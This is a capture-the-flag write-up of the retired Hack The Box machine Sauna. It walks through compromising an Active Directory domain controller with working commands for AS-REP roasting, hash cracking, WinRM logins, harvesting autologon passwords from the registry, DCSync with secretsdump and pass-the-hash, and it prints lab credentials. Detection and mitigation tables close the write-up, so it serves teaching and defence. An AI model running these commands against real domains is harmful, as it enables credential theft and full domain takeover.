Skip to content
Pwnversity
SAUNA7 min · upd. 2026-11

Sauna

active-directoryasrep-roastingautologondcsyncbloodhound
Platform Hack The Box (retired)
OS Windows — DC egotistical-bank.local
Difficulty Easy
Approx. time ~30 min
Chain Names on the website → username-anarchy → AS-REP roasting (fsmith) → WinRM → svc_loanmgr autologon (WinPEAS) → DCSync → Administrator
flowchart TD
  A["Bank website: about.html"] -->|employee names| B["username-anarchy<br/>user list"]
  B -->|GetNPUsers over the list| C["fsmith AS-REP<br/>(no pre-auth)"]
  C -->|hashcat -m 18200| D["fsmith : Thestrokes23"]
  D -->|evil-winrm| E["fsmith (user.txt)"]
  E -->|WinPEAS: autologon| F["svc_loanmgr<br/>Moneymakestheworldgoround!"]
  F -->|BloodHound: GetChangesAll| G["DCSync"]
  G -->|secretsdump| H["Administrator NT hash"]
  H -->|psexec pass-the-hash| I["NT AUTHORITY\SYSTEM"]
  • The bank’s website lists employee names on about.html. With username-anarchy we generate username permutations and, via AS-REP roasting, find that fsmith doesn’t require pre-authentication. We crack its hash → WinRM.
  • WinPEAS reveals that svc_loanmgr is configured with autologon and its password is stored in the registry in clear. That user also logs in over WinRM.
  • BloodHound shows svc_loanmgr holds the DS-Replication-Get-Changes-All right → DCSync. We dump Administrator’s hash and pass-the-hash.

  1. Port scan

    What I do:

    Ventana de terminal
    IP=<target_ip>
    ports=$(sudo nmap -p- --min-rate 5000 -n -Pn $IP | grep '^[0-9]' | cut -d/ -f1 | paste -sd,)
    sudo nmap -sCV -p$ports $IP -oN nmap/targeted

    What I see: a DC for egotistical-bank.local, with IIS (80) and LDAP. Anonymous SMB and LDAP return no objects.

    What I think: with no useful anonymous AD enumeration, the website is the information source. → Network service enumeration

    Ventana de terminal
    echo "$IP egotistical-bank.local" | sudo tee -a /etc/hosts
  1. Pull names from the website

    What I do: I review the site and about.html.

    What I see: a “Meet the team” section with employee full names.

    What I think: full names are the seed for building possible domain users.

  2. Generate candidate usernames

    What I do:

    Ventana de terminal
    username-anarchy --input-file fullnames.txt \
    --select-format first,flast,first.last,firstl > unames.txt

    What I think: I don’t know the domain’s account format, so I generate the common ones (fsmith, fergus.smith…). → AD enumeration

  3. AS-REP roasting over the list

    What I do:

    Ventana de terminal
    impacket-GetNPUsers egotistical-bank.local/ -dc-ip $IP -no-pass -usersfile unames.txt

    What I see: an AS-REP hash for fsmith.

    Why it works: fsmith has Kerberos pre-authentication disabled, so the KDC hands the AS-REP (encrypted with its hash) to anyone who asks. → AS-REP roasting

  4. Crack and get in

    What I do:

    Ventana de terminal
    hashcat -m 18200 fsmith.hash /usr/share/wordlists/rockyou.txt
    # fsmith:Thestrokes23
    evil-winrm -i $IP -u fsmith -p 'Thestrokes23'

    What I see: a shell as fsmith. user.txt → abcd…wxyz (redacted).

3. Lateral movement: autologon credentials

Section titled “3. Lateral movement: autologon credentials”
  1. Enumerate with WinPEAS

    What I do: upload WinPEAS and run it (or check the registry by hand).

    Ventana de terminal
    upload winPEASx64.exe
    .\winPEASx64.exe
    # or directly:
    reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

    What I see: autologon configured for svc_loanmgr with DefaultPassword = Moneymakestheworldgoround!.

    What I think: autologon credentials are stored in the registry in clear (Winlogon). It’s one of the first things WinPEAS checks. → Windows enumeration

  2. WinRM as svc_loanmgr

    What I do:

    Ventana de terminal
    evil-winrm -i $IP -u svc_loanmgr -p 'Moneymakestheworldgoround!'

    What I see: a shell as svc_loanmgr (also in Remote Management Users).

  1. BloodHound: DCSync

    What I do:

    Ventana de terminal
    bloodhound-python -u svc_loanmgr -p 'Moneymakestheworldgoround!' -d egotistical-bank.local -ns $IP -c All

    What I see: the Find Principals with DCSync Rights query connects SVC_LOANMGR to the domain via the GetChangesAll edge.

    What I think: svc_loanmgr has DS-Replication-Get-Changes-All, one of the rights that make up DCSync. → ACL abuse

  2. Dump Administrator’s hash

    What I do:

    Ventana de terminal
    impacket-secretsdump egotistical-bank.local/svc_loanmgr:'Moneymakestheworldgoround!'@$IP -just-dc-user Administrator

    What I see: Administrator’s NT hash.

    Why it works: with the replication right, secretsdump uses DRSUAPI to request the NTDS secrets like another DC would. → DCSync

  3. Pass-the-hash to SYSTEM

    What I do:

    Ventana de terminal
    impacket-psexec egotistical-bank.local/administrator@$IP -hashes aad3b435b51404eeaad3b435b51404ee:<admin_hash>
    cat C:\Users\Administrator\Desktop\root.txt

    What I see: nt authority\system. root.txt → abcd…wxyz (redacted). → Lateral movement


Anonymous LDAP and SMB give no users. Where else are there people’s names?

What I tried Result How I ruled it out
Anonymous AD enumeration (LDAP/SMB) No objects The names had to come from the website
Kerberoasting No useful user SPN The route was AS-REP, not Kerberoasting
Classic local privesc after fsmith Unnecessary The autologon credential made the jump directly
  • No anonymous AD enumeration → the website gives the names. “About/Team” is a username goldmine.
  • Names → username-anarchy → mass AS-REP roasting. Try every account format.
  • First shell on Windows → WinPEAS / the Winlogon registry key. Autologon credentials are in clear.
  • Every new credential → check DCSync in BloodHound (Find Principals with DCSync Rights). GetChangesAll is game over.
Phase Detection Mitigation
AS-REP roasting 4768 with Ticket Encryption Type 0x17 (RC4) and pre-auth not required Remove DONT_REQ_PREAUTH; long passwords; enforce AES
Autologon in the registry Audit reads of Winlogon; detect DefaultPassword Don’t use autologon; if unavoidable, LAPS/gMSA and encrypt
DCSync 4662 with the DS-Replication-Get-Changes* GUIDs from a non-DC Review who holds replication rights; restrict to DCs
Pass-the-hash 4624 type 3 from admin on an odd host; 7045 (psexec) Admin tiering; restrict ADMIN$